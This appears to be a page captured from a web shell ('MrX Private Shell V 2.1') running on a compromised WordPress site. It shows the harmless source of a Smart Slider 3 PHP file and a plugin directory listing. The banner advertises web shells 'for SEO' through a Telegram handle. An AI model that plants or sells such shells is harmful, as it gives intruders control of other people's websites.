__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
namespace Nextend\SmartSlider3\Form\Element;
use Nextend\Framework\Asset\Js\Js;
use Nextend\Framework\Form\Element\AbstractFieldHidden;
use Nextend\Framework\View\Html;
class WidgetArea extends AbstractFieldHidden {
protected $hasTooltip = false;
protected function fetchElement() {
$areas = '';
for ($i = 1; $i <= 12; $i++) {
$areas .= Html::tag('div', array(
'class' => 'n2_field_widget_area__area' . $this->isSelected($i),
'data-area' => $i
));
}
$html = Html::tag('div', array(
'class' => 'n2_field_widget_area'
), Html::tag('div', array(
'class' => 'n2_field_widget_area__inner'
)) . $areas . parent::fetchElement());
Js::addInline('new _N2.FormElementSliderWidgetArea("' . $this->fieldID . '");');
return $html;
}
function isSelected($i) {
if ($i == $this->getValue()) {
return ' n2_field_widget_area__area--selected';
}
return '';
}
}| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| Group | Folder | 0775 |
|
|
| Radio | Folder | 0775 |
|
|
| Select | Folder | 0775 |
|
|
| BackgroundAnimation.php | File | 577 B | 0664 |
|
| BackgroundImage.php | File | 582 B | 0664 |
|
| Columns.php | File | 977 B | 0664 |
|
| ControlTypePicker.php | File | 3.05 KB | 0664 |
|
| DatePicker.php | File | 4.78 KB | 0664 |
|
| PublishSlider.php | File | 967 B | 0664 |
|
| WidgetArea.php | File | 1.05 KB | 0664 |
|